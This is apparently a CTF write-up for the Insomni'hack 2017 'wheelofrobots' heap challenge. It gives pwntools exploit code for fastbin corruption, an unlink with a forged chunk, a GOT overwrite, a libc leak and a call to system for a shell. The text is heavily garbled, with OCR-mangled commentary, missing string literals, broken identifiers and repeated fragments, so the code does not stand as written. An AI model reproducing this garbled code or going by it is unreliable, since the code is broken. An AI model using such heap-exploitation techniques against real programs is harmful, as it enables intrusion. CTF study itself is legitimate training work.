2017 insomni‘hack wheelofrobots Writeup
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root@kali:~/ctf/Other/pwn/heap# checksec wheelofrobots [*] '/root/ctf/Other/pwn/heap/wheelofrobots"’
Arch: amd64-64-1little
RELRO: Partial RELRO

Stack: Canary found
NX: NX enabled
PIE: No PIE (0x3ff000)
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robot-1: 4rEOx14[145 0], (20)
robot-2: FFPHIAN M n, 2 n/NT4AR, JAC n*ex14 W], 55T ex28 (17 [H]
robot-3: I I AN — 1 HF n, 20 /NTON, ZMHC n*ex14 HIZS ], 75073 ex14*ex14 (7% [a]
robot-4: 4rHiOxfa0==1i4%i.  (4000)
robot-5: 43 Fit0x9c40%5[H].  (40000)
robot-6: Fl 1A — AN EF n, J3HC n*ex14 HIZEIA.
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Ox603138 - robot 2
Ox603140 - robot 3

©x603148 - robot 6
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add_robot(2, 1)

del robot(2)

override robot2(b'\x01"')
H Siifreed chunkffdfg4l

edit_robot(2, p64(0x603138))
override robot2(b'\x00"')
add_robot(2, 1)
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pwndbg> fastbins
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: 0x0
: 0x0
: 0x0
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add_robot (3, 32)
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add_robot (1)

robot1 s iiNJE, 1 LLE Flrobot1 (N84T 1511 | 0x603138 + ox1e [Kf7 B . Wil [irobot! 5 NEIER), SHEiES

RN B I AM e e i/ e L1 Z5 efe i/ [ BT



/\NE] UXow3148 , BUTODOW Y N/ ARLHYL E. o

pwndbg> x/gx 0x6030f8
Ox60308: 0x0000000000603148
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add_robot(6, 2)
i 61— small chunk, K/N7ZEKT0x80

add_robot(3, 7)
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edit_robot(1l, p64(0x10))

Fyit it i payload 5 A\ $robot6, 3R jitrobot3 kK fit & unlink

robotéptr = 0x6030e8

forged_chunk = p64(0)

forged_chunk += p64(0x20)
forged_chunk += p64(robotéptr - 0x18)
forged_chunk += p64(robotéptr - 0x10)
forged_chunk += p64(0x20)

payload = forged_chunk + p64(0xa0)
edit_robot(6, payload)

del robot(3)
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0x10 + p64(ELF.got[
edit_robot(6, payload)

edit_robot(4, p64(0x40185a))
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0x10 p64(ELF.got[leak func])
edit robot(6, payload)

CONN.recvuntil(
CONN.sendlineafter(
CONN.recvuntil(

res CONN.recvuntil(

leak addr ub4d(res[:-2].1just(0x8,

print( { (leak_addr)}")

libc LibcSearcher(leak func, leak_addr)
libc_base leak_addr libc.dump(leak func)
print( { (libc_base)}")

SREUibc L 5 A e — NIRRT X B IR EFEbinshE A Frobot1 7, 44 )51 id free(robot1)
A o
libc_base + libc.dump(
0x10 + p64(ELF.got[

, payload)
, p64(system))

CONN.interactive()

writeup

from pwn import
from LibcSearcher import

process(
CONN.elf

def add_robot(id, n=0):
CONN. recvuntil(
CONN.sendlineafter(
CONN. recvuntil(
CONN.sendlineafter( ).encode())

if 2:

CONN.sendlineafter( (n).encode())
elif 3:

CONN.sendlineafter( (n).encode())
elif 6:

CONN.sendlineafter( (n).encode())




def edit_robot(

, content):
CONN.recvuntil(
CONN.sendlineafter(
CONN.recvuntil(
CONN.sendlineafter(
CONN.recvuntil(
CONN.send(content)

del _robot(id):
CONN.recvuntil(
CONN.sendlineafter(
CONN.recvuntil(
CONN.sendlineafter(

override robot2(inuse):
CONN.recvuntil(
CONN.sendlineafter(
CONN.recvuntil(
payload
CONN.sendlineafter(

inuse

exp():

add_robot(2, 1)

del robot(2)
override_robot2( )
edit_robot(2, p64(0x603138))
override_robot2( )
add_robot(2, 1)

add_robot (3, 32)
add_robot (1)

del robot(2)
del robot(3)

add_robot(6, 2)
edit_robot(1, p64(0x10))
print(

add_robot (3, 7)
print(
robotéptr
forged_chunk

0x6030e8
p64(0)
p64(0x20)
p64(robotéptr
p64(robotéptr
p64(0x20)
payload forged_chunk
edit_robot(6, payload)
print(
del robot(3)
print(

forged_chunk
forged_chunk
forged_chunk
forged_chunk

print(
add_robot(4)
print(

payload

)
(id).encode())

)
(id).encode())

, payload)

ox18)
0x10)

p64(0xa0)

p64(ELF.got[




print(
edit_robot(4, p64(0x40185a))

print(

print(

leak_func

payload 0x10 p64(ELF.got[leak func])
edit_robot(6, payload)

print(

CONN.recvuntil(

CONN.sendlineafter(

CONN.recvuntil(

res CONN.recvuntil( )

leak_addr ub4d(res[:-2].1just(0x8,
print( { (leak_addr)}")
libc LibcSearcher(leak_func, leak_addr)

libc_base leak_addr libc.dump(leak_func)
print( { (libc_base)}")
system = libc_base + libc.dump( )

print( { (system)}"')

print( )
payload 0x10 p64(ELF.got[
edit_robot(6, payload)

edit_robot(4, p64(system))

print(

del robot(1)

add_robot (1)

edit_robot(1,

print(
del robot(1)
CONN.interactive()

if _ _name__

exp()
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